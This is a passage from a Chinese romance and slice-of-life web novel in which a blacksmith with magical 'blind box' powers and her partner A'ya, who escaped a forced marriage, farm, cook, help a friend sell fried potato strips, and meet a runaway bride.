那时,受尽折磨的阿雅当然不愿意,她还想等着长大、等着有能力的时候反抗继母,让继母知道她不是好欺负的。 后来,继母看她年岁差不多了,便想要把她嫁出去,随意嫁个什么人,也好过留在府中。 阿雅自是不同意的,继母便开始刻意叫人去堵她,想将她绑了嫁出去。 她反抗过三次。 第一次时,阿雅被关在柴房之中,看着好几个比她高壮圆润许多的婆子拿着绳子围过来。 一狠心一咬牙,就拿着柴房中的烧火棍朝婆子们打去! 她发疯似地乱挥,口中喊着谁敢靠近我就打死谁! 不出意外的,那些人还是冲了过来,她被按住了,但她还是把好几个婆子都打的鼻青脸肿、龇牙咧嘴。 第二次,她被抓来关在自己的屋中,准备出嫁。 这下好了,她自己的屋子她自己想办法翻窗出去,踩着梯子爬到屋顶之上。 等众人发现她的时候,她当着所有人的面从屋顶上跳下。 她就算是死,也要在继母每次午夜梦回之际,留下不可磨灭的记忆。 但她没有死,反而是摔出一身伤,把腿摔折了。 第三次,府里的护卫抬着浑身是伤的她准备出府,在路过池塘时,她用尽全身力气从木板上滚下,落入池塘中。 她不会水,也没有力气扑腾,落入水中后口鼻就开始咕噜咕噜进水,很快窒息感便袭来。 她晕了过去。 可她依旧没死成。 几次三番下来,继母怒了,尖锐嗓音说道:“好呀不想嫁人!那你就给我滚出去当奴隶!你以为你不嫁人就有好日子过吗!” 浑身湿哒哒又有伤的阿雅就这么被塞进铁笼之中,和其他所有脏污的奴隶挤一起,等待着有人来挑选他们。 在被人伢子带出城时,她听见满城都在传前户部尚书之女执意要和其情郎白头偕**度余生。 裴家主母仁慈,给了无数钱财放她去了。 刚被发卖时,阿雅心中恨意滔天,想着自己总有一日会回去报仇。 可渐渐的,在一日又一日的颠沛流离中,她的恨意也没那么清晰了。 那恨意也变成了微不足道的一粒小珠子,随意一抛,就会不见。 阿雅甚至觉得爹娘去了之后,继母能一人撑起裴宅也是不容易,她想撑便让她撑吧。 她已经不想报仇了,她只想跟着爹娘一起去了,至少在地下还有个伴。要不然,即便抢回了裴宅,报了仇又有什么用? 她还不是孤苦伶仃一人。 在晃荡的铁笼里待了一日又一日,其他人都被买走,只有她还一直被留下。 直到到了一个叫做清水镇的地方。 清水镇一听就是个山水秀丽、人杰地灵的地方,她好像要被买走了。 她太饿也太累,没有力气挣扎,只能在心中嘲笑那些想买自己的男子,恐怕还没把她带回家,她就会死半路上。 可就在那些男子要把自己买走的时候,另一位女子出现了,她轻轻一抬手就把那群人打了十万八千里远,还花大价钱把自己买下,温柔地抱在怀中。 没有一丝颠簸。 那个瞬间,阿雅心中好似有一片地方亮了起来。她不想死了,她想再坚持一下,至少不能让那位女子白花十两银子。 这一坚持,就坚持到现在了。 阿雅同样靠在江浔怀中,脸颊蹭了一下,鼻尖轻微耸动,闻着她身上皂角的香味儿。淡淡的,其中还夹杂着一点花香,是她给她涂的雪肌膏。 她的怀抱很柔软、很宽阔,让人忍不住想靠上去,想依赖。 江浔像一块大石头,平淡时可以躺在上面休息,风雨时可以躲在后面渡过。 她什么都不用思考,只用好好活下去就行。 “那你想要回去报仇吗?”听完阿雅说的一切,江浔低头,看着怀中人的眼睛,问得无比认真。 如果阿雅想要报仇的话,她还是有点能力的。 什么疾风步、大力决、千里眼、顺风耳啥的,她这里屯了很多,足够带阿雅杀个七进七出了! 大不了就是之后可能会亡命天涯,她有那么多东西,随便进个山里躲藏着都能活得很好。 问出口后,江浔没等阿雅说话,又继续道:“你先听我说完,再想要不要。希望你不要被吓到,我有点特殊能力,嗯……你可以理解为话本子里的武功。我有武功,能带你回去报仇。” 说着,江浔放开阿雅站起身来,往自己身上用了个疾风步,眨眼间从院中跑到灶台旁。又眨眼间从灶台旁跑回来。 速度快到她的身影好像只是闪了一下,并没有动一般。 要不是阿雅视线一直没有从江浔身上移开,她都要以为自己看花眼了。 她眼睛瞪圆嘴巴微微张开,原本脸上有些落寞、悲伤的神情消失,变为惊讶。 可紧接着,江浔又给她展现了一下大力决的效果,轻轻松松扛起装满肉酱,恐怕有上百斤的大缸,在手中如同杂耍般转着圈圈! 这还不是大力决的极限,是缸的极限。 就算缸再重个一百斤,江浔也能轻松扛起! 千里眼顺风耳不好展示,江浔便又凭空变出十袋化肥、十袋黑土、十袋精盐、十袋白砂糖等等,把大半个院子都堆满。 搞得像才去进完货回来般。 看着如小山般堆起来的东西,阿雅脸上惊讶更盛,看的江浔觉得她有些可爱。 “我想过了,我东西多,即便我们躲到山里去都饿不死的。” 她有化肥有土壤,种什么活什么,产量还很高,吃上面绝对没有问题。 至于有些时候要想到镇子里买卖东西,那就使用好运。 有好运加成,她们是绝对不可能出事的。 “所以阿雅,你想要报仇的话就大胆点,我会拼尽全力帮你的。” 打骂虐丨待孩童、贩卖丨人丨口,每一样都是江浔不能忍的。 她没办法改变当朝律例,还没办法先惩戒恶人吗! 江浔站在原地,双眼锐利如剑,心中翻滚着一腔想为阿雅鸣不平的怒火。 被面前景象震惊到的阿雅缓了缓,合上大张的嘴巴,看向比自己还生气、还愤怒的江浔。 停顿几息后,脸上露出失笑的表情,摇头道:“浔姐姐消消气,我已经不想报仇了,就这样吧。汴京城太远,现在的生活很好,我不想改变什么。” 来之不易的安稳日子,要是因为她而消失,她会后悔的。 “现在做做饭、种种地,我还能写自己想写的东西,挺好的。” “你真的不想做什么?”江浔仔细观察着阿雅脸上淡然的笑意,确定她是真的不想做什么后,才慢慢平息怒火,收起满身的气势,重新坐下来,别别扭扭转移话题,“那这么说你应该叫裴雅?” “叫裴泠雅。”见江浔坐了下来,阿雅又凑过去环住她的腰在她的怀中蹭了一下。 江浔并没有被安抚到,心中还时不时冒出点愤愤不平,觉得阿雅不应该受这些苦,阿雅就应该永远幸福。 察觉到自己抱着的人还在当着闷葫芦,阿雅喉咙中如猫一般发出“嗯”一声,吸引住江浔的视线,再身子朝前凑,凑到江浔脸颊旁,用唇在上面落下一吻。 很轻,如同蝴蝶般只停顿一下便又飞走,江浔都还没什么感觉呢。 “再亲一下。”江浔把想离开的人拉了回去,捧着她的脸,在唇上落下深吻。 唇舌的触碰与纠缠,津水的交换,浓重急促却又不想分开的喘丨息。 这才叫亲吻。 亲完,阿雅把滚烫的脸颊贴在江浔颈间,汲取着上面的温度,缓了一下才继续道:“就当裴泠雅已经死了吧,叫我阿雅,我喜欢你叫我阿雅。” “好,你永远是我的阿雅。”- 今日天气很好,不算太冷,两人依偎在一起甚至还觉得暖和,懒意洋洋四肢发软,想这样一直坐下去时。 两人肚子同时发出震天响声。 咕隆隆—— 咕隆隆—— 江浔和阿雅两人:…… 本来还柔柔软软、毛毛茸茸靠在一起的两人身体同时僵硬住,然后噗嗤一声笑了出来。 阿雅笑容明媚到像盛开的花朵,牵着江浔的手走向灶台,道:“快来做饭吧浔姐姐,太迟了,居然申时还未吃午食,说出去都叫人笑话。” “好,我们做什么?” 两人拉拉扯扯来到灶台前,江浔替阿雅挽起袖口,又把几缕不听话的头发撩到耳后。 阿雅:“吃面吧,吃面快些,你为我配菜。” 申时就是下午三点,这个时候再做饭来吃,都可以当做吃晚食了。 还不如做面来的快些。 阿雅往锅里倒水,开始烧着,又拿出一个大盆往里面加入各种调味料。江浔在案板旁拿起葱姜蒜切碎,放入阿雅拿着的大盆中,才开始拿出一颗小白菜洗净,切成两半。 等面差不多煮熟,扔到锅中烫一会儿就可以吃。 在等待面好的时候,阿雅闪着亮晶晶的双眸,冲江浔问道:“原来你会那么多东西,我都没发现,怪不得我们院中就只有种菜的那块地的土是黑的,原来是你变出来的。” “我就说为什么我们种的东西会好吃那么多,果然还是浔姐姐太厉害了。” 阿雅笑得很甜,搞的江浔怪不好意思的,夸回去,“还是靠你悉心照料才能长得那么好,要是没有你,它们早死光了。” “那那些东西我们怎么弄呢?放在院中会被别人看见的。” 说道这个,江浔有些尴尬了。 她获得的是盲盒系统,不是储存空间,她只能把东西拿回来,却放不回去。 只能想其他法子了。 “明日我去租一辆马车,把黑土和肥运到江家村去,撒在地里。” “至于其他东西……”江浔有些头疼了,“就放在西屋吧,我们慢慢用。” 这得用到猴年马月去了?况且西屋也放不下啊。 阿雅把面从锅中夹出,放到盆里,同江浔一起坐在矮桌上,捧着碗夹着面吃。 心中也在思考这些东西该怎么用完。 想来想去,等面都吃完了,阿雅才想出一个比较好的方法。 “那就这样,糖全用来做番柿酱应当是可以用完的,盐再买肉来做酱肉,要是用不完再放在西屋里。” 如此决定后,第二日两人便紧锣密鼓开始忙活起来。 江浔直接起了个大早,出门去租马车去了。 反正只是用来运东西,她就租最简陋的那种马车,一月也要三两银子,马吃的草料还得另算。 赶着马车回到打铁铺,把缰绳绑在门口,自己进去搬东西。 许是因为起太早,也许是因为好运的缘故,街上没有一位行人出现,根本就没人看见江浔在做什么。 搬完东西出城后,江浔也没在路上遇见人,直至来到自己才得到的土地前,她才遇见今日第三个人。 那个痴傻男儿。 江浔把阿雅早准备好的食盒递给他,让他吃饭。 这名痴傻男儿太久没有吃过饱饭了,连筷子都不太会用,吃的狼吞虎咽满脸油腥,狼狈极了。 幸好阿雅想到他可能根本不知饱饥这件事,准备的早食不太多,顶多吃个半饱。 吃完饭,江浔开始教这痴傻男儿如何把黑土和化肥撒在地里,如何把它们和原本的黄泥土混在一起。 还别说,这人虽然是痴傻的,但学东西很快,江浔教了两次就会了。 还做得又快又好,没有一丝差错。 这土地里原本是种着一些谷物的,但前段时日大雨,大家就把种的东西抢收了,所以现在江浔接手的就是片什么都没种的土地。 她把马车上所有黑土和肥都卸下来后,剩下的事就交给痴傻男儿做,她赶着马车驶向里正家。 她给了里正一些银钱,让里正带痴傻男儿去她拿回来的房屋里住,平日里多照顾一些痴傻男儿。 痴傻男儿帮她们家做事,自己自是要把对方安顿好的。 做完这些,江浔才驾车回到打铁铺。 其实打铁铺还有个后门,就在靠近自家菜地的墙上,通往打铁铺旁的小巷。 只是平日里两人都从正门进出,很少走小巷,这次是江浔需要把马车停在巷子里,马牵到院中,才走了这道门。 牵着马进入时,还要很小心别让马踩到菜了。 她们的院子太小,进入一匹马后就显得有些逼仄,连两只小鸡都跳不动了,只能缩在一旁,有些害怕地观察着这突然出现的庞然大物。 江浔拿了一把租马行送的草料,放在地上让马儿吃,自己则走到阿雅身边帮着阿雅一起做番柿酱。 定做的大陶罐已经送到她们家中,现在只用把番柿酱做好,装进去就行。 下午时分,江浔和阿雅两人坐在马车上,一同上街去买土豆用来培育土豆苗。 一买就买了五十斤的。 买回家放在墙角就行。 土豆苗这种东西就是,你不管它它疯涨,你一管它它可能会烂。 等着土豆发出苗,就要带着它们和番柿一起种在地里- 两人要做的事情太多,忙起来就无法兼顾,江浔已经有好几日没有打铁,阿雅也有好几日没有写东西了。 这日,江浔好不容易抽出功夫,打算去李屠妇那里再买半扇猪肉,继续做酱肉。 结果身影才出现在肉市,甚至都还没看见李屠妇在哪里呢,就被李屠妇喊了一声。 “江浔!你可算出现了,切肉器做好了吗?这肉市上可是有好些人想买嘞!” 离得近的肉摊老板全都听见了,他们忙中抬头看向江浔,纷纷附和道:“是呀是呀,我们可都等着呢!” 嘶,说到切肉器,江浔才想起来自己最近根本就没打铁,哪里来的切肉器? 虽然知道自己什么都还没做,但江浔面上不显,胸有成竹道:“快了快了,大家别慌,我总得让大家都用上不是?” 说完一个健步窜到李屠妇摊子旁,让其他人没办法再问她更多。 “怎么了?今日来是找我有事,还是来买肉?”李屠妇有些不明所以问道。 “我来找你买肉的,想买半扇猪肉。” 李屠妇看看自己案板上仅剩的十来斤五花肉,道:“不巧今日都卖完了,要不明日我给你留半扇,送到你家去?但要等我收摊后才行。” 做酱肉又不着急,李屠妇愿意送,江浔自然也乐得轻松。 笑眯眯谢道:“那就麻烦李姐姐了。” 从肉市回家的路上,江浔又顺带定做了十个大陶罐,用来装酱肉。 回到家中,阿雅迎了上来,高兴的跟她说墙角的土豆都发芽了,可以种到地里去了。 这下好了,两人又有忙不完的事情了。 她们一起站在灶台旁,拿着菜刀“咔咔咔”地切着土豆,还得注意别把土豆苗给弄断。 当这一天过完时,江浔揉揉自己发酸的手臂,锤锤自己僵硬的腰,说道:“这样下去不行,我们得招几个人来帮我们。” 等土豆切好,就要种到土里了。 那可是整整三亩地啊,她们两人累死都种不完的! 但是交给痴傻男儿一人种,又太花费时间了,得再找个常种田的熟手来帮他才行。 阿雅点点头,没有异议,“好,那我们可以在江家村里找个人,既能帮我们种地,又能帮我们看管着地里的情况。” 第二日,李屠妇收摊和儿子、赘夫一起来到打铁铺里。 李屠妇是来送猪肉的,赘夫则是来询问阿雅新话本进度到哪里了。 这话直接把阿雅问沉默了,因为新话本根本就没有进度。 敏锐地察觉到不对,赘夫试探性问道:“没写?” 阿雅:“不,写的也不少了,开头都快写完了。” 赘夫:…… 开头都还没写完算不少了??? 要知道这都多久了?要是等《女驸马与公主》这本话本大家不再谈论,那么阿雅下本话本卖不卖的出去就是未知数了! 赘夫有些急,不断追问是什么原因造成她开头还没写完的。 甚至都开始怀疑,是不是江浔打扰到阿雅了! 江浔只觉得自己冤得不行。 她们两人都已经忙到晚上沾枕头就睡,想亲密亲密都做不到,怎么会是她打扰到阿雅了? 正好这时,徐浆娘和谭木匠也来到打铁铺。 徐浆娘听江浔说今日就可以把番柿酱搬走了,所以带着人过来帮忙。 两方人碰面,才发现阿雅和江浔早已忙到,一个没时间写话本,一个没时间打铁了! 这可不行,阿雅的话本很有前途,江浔打出来的东西也实用无比,是哪一个都无法割舍的。 李屠妇一家一合计,打算帮她们的忙。 这下,两人的家中可真是挤地站都站不下了。 阿雅和赘夫、徐浆娘两人一起在灶台旁切着土豆。 江浔和李屠妇儿子、谭木匠一起搬着装番柿酱的罐子。 李屠妇则帮她们把猪肉从骨头上剔下,准备做成酱肉。 忙碌间,李屠妇问了句,“你们院中堆那么多布袋,里面装的什么?” 其实里面装的是盐,但盐这种东西管得严,她没法解释自己为什么要买那么多,难道是想造反吗? 江浔就答道:“是糖,买来做番柿酱的,糖铺子的老板特别会做生意,说买十送一,一不小心就给买多了。” 好运加成还在身上,谁都没有怀疑她说的话,甚至徐浆娘还突然出声道:“啊!这可是个好法子啊!” 第64章 逃婚的小姑娘 “我也可以像糖铺子一样, 买十碟子土豆条就额外送一碟,这样大家说不定会因着实惠,而多买一些。” 这是一个很好的促销方式,但江浔提醒道:“十碟子土豆条会不会太多了?” 徐浆娘点点头, 停下切土豆的动作, 两只手放在刀背上按着刀, 沉思几息道:“十碟土豆条的确有些多,三碟怎么样?买三碟赠一碟,薄利多销。” 大家都用力点头,表示这样可以,听的他们都想提前买来吃了呢。 解决完这事,徐浆娘又说道:“真是辛苦你们两人帮我做番柿酱了, 还有辛苦大家帮忙搬东西了, 明日到我摊子上来尝尝我的手艺吧?也让我的摊子热闹热闹。” “哈哈哈那自是可以,我们是不会放过这个机会的。”李屠妇笑得爽朗, 动作麻利。 有大家的帮忙, 江浔和阿雅二人要做的事很快就做完, 除了接下来要把土豆苗和特意留下来的番柿种下地外,再没有其他事了。 李屠妇一家离开时, 赘夫还特意嘱咐道:“不想我催你, 就赶紧写话本。” 李屠妇也说道:“赶紧做切肉器, 好多人等着呢。” 徐浆娘也催了一下,“你做的那些小器具也很好用,还会做吧?” 江浔和阿雅对视一眼, 一个望天一个望地, 不走心答应道:“会的会的,保准又快又好。” 把所有人全都送走, 站在打铁铺门口的两人才敢松口气,放松下来。 江浔安慰到阿雅,“没事别着急,等休息几日我们再开始做这些。” 她们又不是铁打的,怎么可能连轴转这么久? 她们早就想好忙完这段时日要休息几日了,至于其他人的催促,就先拖着吧。 听到江浔这么说,阿雅灵动地闭上一只眼,吐出舌头,做出个略显顽皮的表情,才道:“好,我们偷偷休息,不让他们发现了。” 天色渐暗,两人沐浴后一同躺在床上,阿雅揉了揉自己的后腰,感觉有些不舒服。 关键是手臂也是酸软的,根本不能很好的揉到自己腰上不舒服的地方。 只能揉几下后,叹口气放弃了。 “我来。”平躺在她身边的江浔察觉到她的动作,翻身坐起,双腿分开跪在阿雅身子两边。 手至上而下搭在她的柳腰上,那腰细,她一掌就可以覆盖完,现在却要分成两手,盖住两边。 衣裳被撩起一角,暴露出里面莹白柔润的肌肤,滚烫双手覆盖上去,让阿雅腰部不自觉紧绷了一下,后又慢慢放松。 江浔拇指仔细按着阿雅腰上各处地方,口中问道:“这里不舒服吗?是这里吗?这里?” 找准地方后,江浔的拇指连同着掌跟按压上去,打圈揉按着阿雅不舒服的地方。 她没有什么手法,滚烫的手掌像个汤婆子,只是放在上面熨烫着就很舒服,更别说还抵着一处地方揉着了。 连日来的忙碌让阿雅腰处的肌肉有些紧绷,江浔悄悄加重力气揉着,就能很好把紧* 绷的肌肉给揉开。 揉了没一会儿,阿雅玉白的肌肤就像画纸,沾染了水的红色水彩滴落在上面,颜色朝四周蔓延,浸染出边缘虚无缥缈的红晕。 腰两侧都出现了红色的指丨印,江浔敢保证自己没有太用力,是阿雅皮肤太过细嫩了才会这样。 阿雅也没有感受到疼痛,只觉得又温暖又舒服,趴在床上枕着手臂,都快睡着了。 当屋内只剩下朦胧又轻浅的呼吸声后,江浔的动作也变得有些不可言说了。 她故意用比之前还轻的力道,在阿雅的腰上游走着、指尖打着圈摩挲着。 指尖上有茧,即便涂了好几日的雪肌膏也没有什么大用处,那触感依旧让阿雅腰部轻颤。 她的小腹紧紧贴在床上,腰缩瑟着想要躲避。 可这样她的臀却翘了起来。 江浔的指尖便顺着最后几节腰椎慢慢滑向尾椎骨,在这里揉了揉后,掌心又贴着丰丨腴的肉一点一点来到阿雅小腹处。 “乖乖,你感觉怎么样?舒服吗?” 朦胧的爱语喊出,江浔的身体朝前倾,手撑在床上,长发落下,像绳子般纠缠在阿雅身上,让她无法逃脱。 阿雅闭着眼眸,丝毫没有发现自己处境危险,还迷蒙道:“舒服多了,浔姐姐睡吧,别按了。” “好。”江浔用气声发出这个字后,另一只手臂直接圈住阿雅的腰,—— 第二日几乎到日上三竿,两人才从屋子中走出。 江浔撑了个懒腰,只觉得空气都是香甜的。 阿雅跟在她身后迈着莲步走出,揉揉自己的腰,发觉真的没有什么不舒服了。 今日两人没什么事,吃完早食,洗去昨夜带来的一身黏腻后,就悠哉地坐在院中。 说是要休息,但阿雅闲来无事,便开始思索自己的新话本应该写什么、怎么写。 江浔就在她身旁拿着一把粮食,逗弄两只鸡。 把两只鸡逗生气了,隔着衣服叨了她好几下后,她又开始拿着草料去喂马。 这马算不上什么好马,长得不太高大,胜在养得油光水滑的,力气也足,拉点什么东西方便极了。 喂完马,江浔又蹲在自家菜地旁,开始去看那些菜的长势。 早早种下去的土豆苗现在叶子已经变得郁郁葱葱,在方块似的地里显得很是可爱讨喜。 等再过大半月,就可以提着这一把土豆叶子,往外拔。 土质松软,一拔就能拔出一大把土豆。 手臂抖两下,土豆上附着的泥土就能被抖干净,剩下一颗颗比拳头还大的黄色土豆。 之前采摘过的番柿藤现在叶子开始打黄,看起来是要枯萎的模样。 江浔依稀记得番柿应该是能一直结果的,但她并不知道怎么做才能让番柿继续生长下去,只能暂时等它们这样。 看完番柿,江浔又发现有两块田里长出类似小树苗的植物。 那植物绿油油的,叶子圆尖,枝干间冒出米粒大小的白色小花,看起来很是眼熟。 会是什么呢? 这一看就不是什么杂草,应该是阿雅种的什么东西。 江浔身子朝前探,鼻尖微动,去嗅这两株植物的味道。 还悄悄掐了点叶片的尖尖放入口中尝着,有点苦又有点辣。 是辣椒! 江浔反应过来了,这植物就和辣椒苗一模一样。 应当是上次她拿回番椒时,阿雅弄了一点来种下,现在长起来了她才发现。 上次拿回家的番椒早已吃完,她已经有好长一段时日没有尝过辣椒的味道了。 现在看见家里种了两株,对江浔来说简直是意外之喜。 摸摸两株小苗的顶端,就像是摸阿雅脑袋顶一样。 摸完,江浔回到矮桌旁,双手抱臂,安安静静看着正在写字的阿雅。 阿雅身段很好,笔直地坐在矮桌旁,头微低,手臂是悬空的,手腕轻微晃动,纸张上便出现一串工整的小字。 这样写东西应该很累吧? 矮桌太矮,凳子又有点显高,怎么看怎么不匹配。 江浔又看了看阿雅身后的房屋,有点破旧、狭窄,屋顶上杂草丛生,还覆盖着一层不怎么显眼的青苔。屋子里小到只放了一张床、一个衣柜、一个梳妆柜便有些拥挤了。 这房屋和阿雅也是不匹配的。 阿雅以前的生活过得那么好,没道理现在要过得差上许多。 她值得更好的。 她要比那个劳什子继母过得更好,才行。 江浔又收回视线,全心全意看着阿雅,满心满眼只有她一人。 那就再努力一点吧,努力挣银子,努力让她和阿雅都住上更好的地方。 下午时,两人收拾着准备去徐浆娘的茶摊,为徐浆娘凑点人数,热闹些。 江浔也难得穿了件红黑相间的衣裳,显得整个人要明艳精致许多。 两人牵着手来到徐浆娘的茶摊后,发现徐浆娘正把切好、裹上淀粉的土豆条放入油锅中炸。 油锅里冒出滋啦滋啦的白色气泡,香味儿很快就飘的整条街都是了。 有好些路过的百姓脚步不自觉变慢,脑袋朝这边张望,好奇地看是在干什么。 徐浆娘正好就抓住他们这种好奇心理,开口大声叫卖道:“又香又酥的土豆条嘞!买三赠一,买三赠一!还可免费品尝,不好吃不要钱嘞!” “来尝尝来看看!这可是新玩意新吃食嘞,您来了可就是第一个吃到新东西的人嘞!” 江浔朝四周看了看,发现确实有很多百姓都停下脚步,驻足观望,想要上前尝试,却又有些不敢。 这个时候就需要有个人带头了。 江浔立马接上徐浆娘的话,捧哏道:“你说的可是真的?真能免费品尝?” “那是自然。”说话间油锅中的土豆已经炸好,徐浆娘用大漏勺捞起来,放在另一个盆上滴油。 等油滴的差不多后,她又用一个小漏勺舀一白瓷碟子的炸土豆条,递给江浔。 这土豆条还冒着热气,江浔拿着东西转身吹着热气,让周围围观的百姓都能清楚看见这东西长什么样。 细长一条,拿着筷子夹起放入口中,咸味儿和胡椒的味道绽放在味蕾之上,外表薄脆,里面又是粉粉糯糯的,再加上土豆特有的那种淀粉香味儿,每吃上一口都是一种享受。 江浔没来得及说话,又拿了双筷子给阿雅,两人一起快速吃着。 旁边围观的百姓还在等江浔吃完之后分享是什么味道呢,结果就看见她们两人吃的忘我,都把大家晾一边了! 有一人不断闻到香味冒出,越等越着急,便率先走出人群,来到徐浆娘身边问道:“这一碟是怎么卖的?” 徐浆娘笑眯眯道:“一小碟十五文,买三赠一。” “十五文?!” 价格一出,这上来问价的人眼睛都瞪大了,其他百姓也是难以置信。 怎么都想不明白这看起来就是土豆炸了一下的东西,为什么会这么贵? 这一小碟里能有一个土豆吗? 怕是一个都没有吧?居然敢卖那么贵? 确实,这一小碟里恐怕只有三四十根土豆条,算起来要是土豆大些,这里还没有一个土豆呢。 土豆才值几个钱? “算了算了,我不要了。”上来问价的人想都不想便要离开,这么贵的吃食,他可吃不起。 “诶等等。”徐浆娘叫住他,道:“可以先尝一下,不好吃不要钱的,尝一下不吃亏。” 这时,站在旁边的江浔也开口冲大家道:“我从来没吃过这么好吃的东西!简直能称为镇里数一数二茶果子了!反正都可以试吃,大家都尝一下,免得说我诓骗你们!” “我先来!”李屠妇拨开人群,由远到近,身旁还跟着她的赘夫和儿子,走到茶摊旁后,她又说了句,“我先来,老远就闻到香气了,这什么好东西,还没吃过嘞。” 她也拿起一双筷子,夹了江浔手中碟子里的土豆条。 她是真没吃过这东西,吃进嘴里的那一刻,真是眼睛也亮了,灵魂也升华了。 李屠妇自己是个粗人,搞不来那些风雅的,不爱喝茶吃茶果子。 但这东西和其它茶果子不一样,入口微咸发麻,一下就把她的注意力全部吸引过去了。 “能做出这么好吃的东西,你可真是这个!” 李屠妇边又夹起一根土豆条,边冲徐浆娘竖起大拇指。 两个人都说好吃,搞得那个来问价的人咽咽口水,都不想离开了。 他默默拿起一双筷子,夹碟子中的土豆条。 入口咸香脆软,还真别说是真没吃过的口感,是真的很独特! 这下好了,这下他也走不动道了,默默站在一旁不断“试吃。” 李屠妇的赘夫用手肘捣了捣自己的儿子,用眼神示意他去买。 这时李屠妇的儿子才反应过来,走到最前面,拿出钱拍在徐浆娘的桌子上,闷声道:“我要一份!” “得嘞!” 徐浆娘收下钱,笑眯眯给他装了一碟,还又拿个小碗,用干净勺子从大陶罐里舀出红艳艳的番柿酱,装进去。 “买一碟,免费赠一碗番柿酱,好吃得不行!” 这下可把大家说动了。 虽然大家也不太明白番柿酱特殊在哪里,但好歹是赠的,听起来似乎要比刚才要划算些。 不过他们心动,也只是心动试吃,依旧不是很愿意花钱买那么贵的东西。 徐浆娘也不介意,舀了一碟子试吃的土豆条放在桌子上,供大家品尝。 看着大家挤来挤去,把试吃碟里的东西吃了大半后,才道:“试吃不多了,大家觉得好吃可以买来品尝,买三赠一啊!四个人来买,每碟能便宜好几文呢!” 听到试吃不多了,好些排在后面的百姓都有些着急了,他们都还没吃到呢,怎么就不多了? 怎么办?买吗? 好些没尝到的人,心里期待感已经被提起来了,要是能吃到还好,没吃到可不就亏了? 站在人群后,有几位互相认识的姑娘们数了一下自己的人数,刚好有四个人呢。 “那就是……三碟土豆条四十五文……赠一碟的话……每碟11文还有多……多多少呢……” 有个姑娘数着手指在算,算来算去其实有点算不明白。 她大手一挥直接道:“不管了!可以买!便宜了三四文呢!” 她一发话,她的姐妹们就同她一起挤进人群中,冲徐浆娘大气道:“我们要买三碟!” 有她们开头,其他认识的不认识的也凑在一起,合计一番,打算一起买! 见徐浆娘开始有条不紊地卖起土豆条,江浔又提了一嘴,“老板,给我上壶茶上一碟土豆条,在这里吃。” 说完拉着阿雅坐在茶摊里一张竹桌旁。 徐浆娘听到后,大声应道:“好嘞!一壶茶一碟土豆条!” 她声音穿透力更强,一下就让茶摊周围围着的人听见了。 好些人这才反正过来,这是茶摊啊,他们可以边喝茶边品尝土豆条,完全不用那么着急的。 如此想着,又有几个人坐在竹桌旁,点了几壶茶水。 这才是徐浆娘设想的模样,来喝茶的人可以吃点茶果子,来吃茶果子的人可以喝点茶。 以往她也想这样的,但她这摊子毕竟只是街边的摊子,有钱有闲的客人为何要选她的摊子,而不去选大酒楼呢? 但现在不一样了,现在她有自己独特的东西,能留住茶客们了。 江浔和阿雅坐下后,徐浆娘动作麻利,很快就上了茶和土豆条。 但她动作再麻利,也照顾不到那么多人啊。 李屠妇见状,带着自己赘夫和儿子开始帮忙。 江浔阿雅两人坐了一会儿,确认买土豆条的人都换了一批,没人能发现她们是半个托后,就把位置让给李屠妇一家三口坐着休息,她们两人继续去帮徐浆娘的忙了。 忙乱中,徐浆娘用搭在颈间的帕子擦擦额头上的汗,开口道:“我明日就请个人帮忙,真是麻烦你们了。” 她让大家来,本意是想请大家吃东西的,哪想居然忙到了需要让大家帮忙的地步。 搞得她还挺不好意思的。 “没事,昨日你也帮了我们,互帮互助应该的。” 江浔呼出一口气,稍微休息了一会儿,才又投入到帮忙中。 阿雅算数好,江浔又不想让她太累,就让她收钱。 好在徐浆娘也信任她们。 这一忙就忙到快要晚食的时候。 快要吃晚食了,就很少有人会来茶摊喝茶吃东西。 即便有零零星星几个客人来,徐浆娘也不接待了。 他们这一群人瘫坐在茶摊的椅子上,徐浆娘把最后剩的土豆条炸了,用一个大盘子摆在大家中间,茶也泡了新的。 夕阳余晖落下,把地面照得金灿灿的,把每个人的脸色照得红扑扑的。 像一副温情画卷。 大家虽然都很累,但喝茶的喝茶,吃东西的吃东西,脑袋中什么都没想,只过好当下生活的满足感油然而生。 休息够了,在徐浆娘的一声,“得空了我请你们到家里来吃饭。”中,几人四散离开,走向自己的家。 才吃过东西,江浔和阿雅还不是很饿,江浔就给自己找了事做。 把那些留下来的番柿和切好的土豆,搬到马车上。 阿雅则坐在院中,点着灯继续构思自己的话本- 第二日,把番柿和土豆运到江家村时,江浔没让阿雅跟着,反正去去就回。 来到江家村,江浔首先找到里正,让里正帮自己挑选一个干活老手,帮着做活。 里正见江浔是个上进的,会想办法种东西,不让地空着,心中甚是欣慰,给江浔推荐的都是老实本分的人。 江浔挑了个看着就踏实肯干的大娘,让她和痴傻男儿一起种地,工钱就按市价给。 要是一年到头来都不出什么差错,还能再涨银子嘞。 交代完,江浔就驾着车回到自己的铺子。 定做的大陶罐到了,阿雅已经把肉全部加上调味料了,现在只用把肉装进缸里就行。 江浔想速度快点,直接给自己用上大力决,扛着装肉的盆,哗啦哗啦往缸里倒。 她们做了好几缸酱肉,盐消耗得很快,但还剩下好几袋,只能全部堆放在西屋里了。 看着自己囤的那么多盐,江浔心中总觉得不安稳,从下午开始就一直用着大力决不断打铁,开始往外卖铁具。 卖出去东西得到盲盒后,她全都打开,开到好运就全用在自己和阿雅身上。 让两人一起好运满满。 有那么多好运加成,江浔总算觉得安稳许多。 有好运加成,她以往打铁总会打废一些,现在也没遇到了。 打的又快又好,不出几日就做好了六个大切肉器,全卖给肉摊老板们,小赚了一笔。 阿雅近日运气也还算不错,之前那本《女驸马与公主》本来已经渐渐淡出大众视野了。 但听说有户家的女儿学着话本里的方法,成功逃婚了! 这可让好些闺中女子也偷偷买了这本话本,就想看看自己能不能用上。 一时之间,《女驸马与公主》的销量又悄悄好了起来,也为阿雅挣了不少银钱。 这日,两人一人在院中写话本,一人在打铁铺中打铁,日子过得悠闲又缓慢。 突然有一看起来只有十六七岁的姑娘跑进打铁铺中,胡乱翻找着桌上的铁具。 神色慌张,不断朝铺子外张望。 在打铁的江浔停了下来,不明所以问道:“如此慌张,你是干什么的?” 那小姑娘流着泪,惊恐又倔强道:“姐姐,卖我一把锋利的刀吧?我是逃婚出来的,我不想再被抓回去了!” 江浔:…… 江浔:? 第65章 帮助 听到逃婚这个关键词, 江浔一下想起前几日那件因为逃婚,让阿雅的话本重新火起来的事了。 话本中的主角逃婚后,去一家打铁铺买了刀具,而眼前这个逃婚出来的小姑娘, 也来打铁铺买刀具了! 太巧了, 这有可能真是那个看了阿雅的话本, 逃出来的小姑娘! 